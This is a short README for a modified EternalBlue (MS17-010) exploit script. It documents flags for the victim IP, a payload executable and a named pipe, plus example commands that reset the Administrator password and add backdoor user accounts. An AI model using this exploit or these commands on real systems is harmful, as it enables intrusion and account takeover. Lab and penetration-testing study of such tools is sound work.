# Eternalblue exploit docs

The exploit is made with a lot of inspiration taken from <https://github.com/worawit/MS17-010> the changes were made to the zzz\_exploit, which requires access to a named pipe, but is a lot less likely to crash than the original eternalblue exploits. The changes were made to the main code of the exploit, as well as the smb\_pwn method.

Several inputs can be given, these are listed below:

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **Command line Flag** | **--Tag** | **Description** | **required** | **Example usage** |
| -ip | --ip\_addr | Ip address of the victim machine | Yes | -ip 10.10.10.40 |
| -c | --commands | Cmd commands to be executed by the victim | No | -c "net user Administrator admin" "net user bastri bastri /ADD" |
| -payload | --payload | Payload file to be executed by the machine, should always be named payload.exe | No | -payload /home/bastri/Payloads/payload.exe |
| -pipe | --pipe | Named pipe to use when attacking the victim | No | -pipe Users |
| -user | --username | Username to use when accessing named pipe | No | -user bastri |
| -pass | --password | Password to use when accessing named pipe | No | -pass bastri |

Full command example: python zzz\_exploit.py -ip 10.10.10.40 -payload payload.exe -c "net user Administrator admin" "net user haris haris" -pipe Users